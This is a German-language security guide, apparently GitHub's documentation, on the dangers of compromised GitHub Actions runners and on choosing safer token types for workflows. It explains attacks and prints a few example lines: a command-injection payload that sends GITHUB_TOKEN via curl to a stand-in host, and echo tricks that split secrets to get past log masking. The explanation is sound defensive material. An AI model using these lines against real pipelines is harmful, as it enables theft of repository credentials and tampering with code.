Kompromittierte Runner

Verstehen Sie die Sicherheitsrisiken, die mit kompromittierten GitHub Actions Runnern verbunden sind.

In diesem Artikel

Potenzielle Auswirkungen eines kompromittierten Runners

In diesen Abschnitten werden einige Schritte behandelt, die ein Angreifer unternehmen kann, wenn er schädliche Befehle auf einem GitHub Actions Runner ausführen kann.

Zugreifen auf Geheimnisse

Workflows, die von einem geforkten Repository mit dem pull_request-Ereignis ausgelöst werden, verfügen ausschließlich über Leseberechtigungen und haben keinen Zugriff auf Geheimnisse. Allerdings unterscheiden sich diese Berechtigungen für verschiedene Ereignisauslöser wie issue_comment, issues, push und pull_request aus einem Zweig innerhalb des Repositorys, wo der Angreifer versuchen könnte, Repository-Geheimnisse zu stehlen oder die Schreibberechtigung des Jobs GITHUB_TOKEN zu nutzen.

  • Wenn das Geheimnis oder Token auf eine Umgebungsvariable festgelegt ist, kann mithilfe von printenv direkt über die Umgebung darauf zugegriffen werden.

  • Wird das Geheimnis direkt in einem Ausdruck verwendet, wird das generierte Shellskript auf dem Datenträger gespeichert, und es kann darauf zugegriffen werden.

  • Bei benutzerdefinierten Aktionen kann das Risiko abhängig davon variieren, wie ein Programm das Geheimnis nutzt, das aus dem Argument abgerufen wurde:

    uses: fakeaction/publish@v3
with:
    key: ${{ secrets.PUBLISH_KEY }}

Obwohl GitHub Actions Geheimnisse aus dem Speicher entfernt, auf die im Workflow (oder in einer eingebundenen Aktion) nicht verwiesen wird, können das GITHUB_TOKEN und alle referenzierten Geheimnisse von einem entschlossenen Angreifer abgegriffen werden.

Exfiltrieren von Daten aus einem Runner-System

Angreiferinnen können sämtliche gestohlenen Geheimnisse oder andere Daten aus dem Runner exfiltrieren. Um die versehentliche Offenlegung geheimer Daten zu verhindern, GitHub Actionsschwärzen Sie automatisch im Protokoll ausgegebene Geheimnisse; dies ist jedoch keine tatsächliche Sicherheitsgrenze, da Geheimnisse absichtlich ins Protokoll geschrieben werden können. So können verschleierte Geheimnisse beispielweise mithilfe von echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200}; exfiltriert werden. Und da Angreiferinnen auch beliebige Befehle ausführen können, können sie Geheimnisse oder andere Repositorydaten mithilfe von HTTP-Anforderungen an einen externen Server senden.

Diebstahl des GITHUB_TOKEN eines Auftrags

Es ist möglich, dass Angreiferinnen das GITHUB_TOKEN eines Auftrags stehlen. Der GitHub Actions Runner erhält automatisch ein generiertes GITHUB_TOKEN mit Berechtigungen, die auf genau das Repository beschränkt sind, das den Workflow enthält, und das Token läuft ab, nachdem der Job abgeschlossen wurde. Das abgelaufene Token bietet keinen Nutzen für Angreiferinnen. Zur Umgehung dieser Einschränkung kann der Angriff automatisiert und in Sekundenbruchteilen ausgeführt werden, indem ein vom Angreifer oder von der Angreiferin gesteuerter Server mit dem Token aufgerufen wird. Beispiel: a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#.

Ändern der Repositoryinhalte

Der Angreiferserver kann die GitHub API verwenden, um Repositoryinhalte einschließlich Versionen zu ändern, wenn die zugewiesenen Berechtigungen GITHUB_TOKENnicht eingeschränkt sind.

Repositoryübergreifender Zugriff

GitHub Actions ist bewusst darauf ausgelegt, jeweils nur ein Repository gleichzeitig zu unterstützen. Mit GITHUB_TOKEN wird die gleiche Zugriffsstufe erteilt wie die von Benutzerinnen mit Schreibzugriff. Denn alle Benutzerinnen mit Schreibzugriff können auf dieses Token zugreifen, indem du eine Workflowdatei erstellst oder änderst und dabei die Berechtigungen von GITHUB_TOKEN bei Bedarf erhöhst. Benutzer verfügen über spezifische Berechtigungen für jedes Repository, sodass das Zulassen des GITHUB_TOKEN Zugriffs auf ein anderes Repository das GitHub Berechtigungsmodell beeinträchtigen würde, wenn es nicht sorgfältig implementiert wird. Ebenso müssen Sie beim Hinzufügen von GitHub Authentifizierungstoken zu einem Workflow Vorsicht walten lassen, da sich dies auch auf das GitHub Berechtigungsmodell auswirken kann, indem versehentlich ein breiter Zugriff auf Mitarbeiter gewährt wird.

Wenn Ihre Organisation einem Unternehmenskonto gehört, können Sie GitHub Actions freigeben und wiederverwenden, indem Sie sie in internen Repositorien speichern. Weitere Informationen finden Sie unter Freigeben von Aktionen und Workflows in deinem Unternehmen.

Sie können andere privilegierte, repositoryübergreifende Interaktionen ausführen, indem Sie auf ein GitHub Authentifizierungstoken oder einen SSH-Schlüssel als geheimen Schlüssel innerhalb des Workflows verweisen. Da viele Authentifizierungstokentypen keinen differenzierten Zugriff auf bestimmte Ressourcen ermöglichen, besteht ein erhebliches Risiko durch die Verwendung des falschen Tokentyps, mit dem gegebenenfalls wesentlich umfangreichere Zugriffsberechtigungen zugewiesen werden als beabsichtigt.

In dieser Liste sind die empfohlenen Vorgehensweisen für den Zugriff auf Repositorydaten innerhalb eines Workflows in absteigender Präferenzreihenfolge aufgeführt:

  1. Die GITHUB_TOKEN
    • Dieses Token ist bewusst auf das eine Repository beschränkt, das den Workflow aufgerufen hat, und kann dieselbe Zugriffsstufe wie Benutzer*innen mit Schreibzugriff auf das Repository aufweisen. Das Token wird erstellt, bevor die einzelnen Aufträge beginnen, und läuft ab, wenn ein Auftrag abgeschlossen ist. Weitere Informationen finden Sie unter Verwenden von GITHUB_TOKEN für die Authentifizierung in Workflows.
    • GITHUB_TOKEN sollte wann immer möglich verwendet werden.
  2. Bereitstellungsschlüssel des Repositorys
    • Bereitstellungsschlüssel sind einer der einzigen Anmeldeinformationstypen, die Lese- oder Schreibzugriff auf ein einzelnes Repository gewähren. Diese Schlüssel können für die Interaktion mit einem anderen Repository innerhalb eines Workflows verwendet werden. Weitere Informationen finden Sie unter Verwalten von Bereitstellungsschlüsseln.
    • Beachte, dass Bereitstellungsschlüssel nur dazu verwendet werden können, das Repository mit Git zu klonen oder darauf zu pushen, und sie nicht zur Interaktion mit der REST- oder GraphQL-API genutzt werden können. Daher sind sie möglicherweise nicht für Ihre Anforderungen geeignet.
  3. ** GitHub App Token**
    • GitHub Apps kann in ausgewählten Repositorys installiert werden und verfügt sogar über granulare Berechtigungen für die darin enthaltenen Ressourcen. Sie können ein GitHub App internes Element für Ihre Organisation erstellen, es in den Repositorys installieren, auf die Sie innerhalb Ihres Workflows zugreifen müssen, und sich als Installation in Ihrem Workflow authentifizieren, um auf diese Repositorys zuzugreifen. Weitere Informationen finden Sie unter Erstellen authentifizierter API-Anforderungen mit einer GitHub App in einem GitHub Actions-Workflow.
  4. ** personal access tokens**
    • Sie sollten niemals ein personal access token (classic) verwenden. Diese Token gewähren Zugriff auf alle Repositorys innerhalb der Organisationen, auf die du Zugriff hast, sowie auf alle persönlichen Repositorys in deinem persönlichen Konto. Dadurch werden indirekt umfangreiche Zugriffsberechtigungen für alle Schreibzugriffsbenutzer*innen des Repositorys gewährt, in dem sich der Workflow befindet.
    • Wenn Sie ein personal access token verwenden, sollten Sie niemals ein personal access token aus Ihrem eigenen Konto verwenden. Wenn du eine Organisation zu einem späteren Zeitpunkt verlässt, treten bei Workflows mit diesem Token umgehend Probleme auf, und das Debuggen kann schwierig sein. Stattdessen sollten Sie ein fine-grained personal access token neues Konto verwenden, das zu Ihrer Organisation gehört und dem nur Zugriff auf die spezifischen Repositorys gewährt wird, die für den Workflow erforderlich sind. Beachte, dass dieser Ansatz nicht skalierbar ist und stattdessen Alternativen wie Bereitstellungsschlüssel bevorzugt werden sollten.
  5. SSH-Schlüssel für ein persönliches Konto
    • Workflows dürfen die SSH-Schlüssel niemals für ein persönliches Konto verwenden. Ähnlich wie personal access tokens (classic), gewähren sie Lese-/Schreibberechtigungen für alle Persönlichen Repositorys sowie alle Repositorys, auf die Sie über die Organisationsmitgliedschaft Zugriff haben. Dadurch werden indirekt umfangreiche Zugriffsberechtigungen für alle Schreibzugriffsbenutzer*innen des Repositorys gewährt, in dem sich der Workflow befindet. Wenn du beabsichtigst, einen SSH-Schlüssel zu verwenden, weil du lediglich Klon- oder Pushvorgänge für ein Repository durchführst und nicht mit öffentlichen APIs interagieren müssen, solltest du stattdessen einzelne Bereitstellungsschlüssel verwenden.

Nächste Schritte

Bewährte Methoden GitHub Actionsfür die Sicherheit finden Sie unter Referenz zur sicheren Verwendung.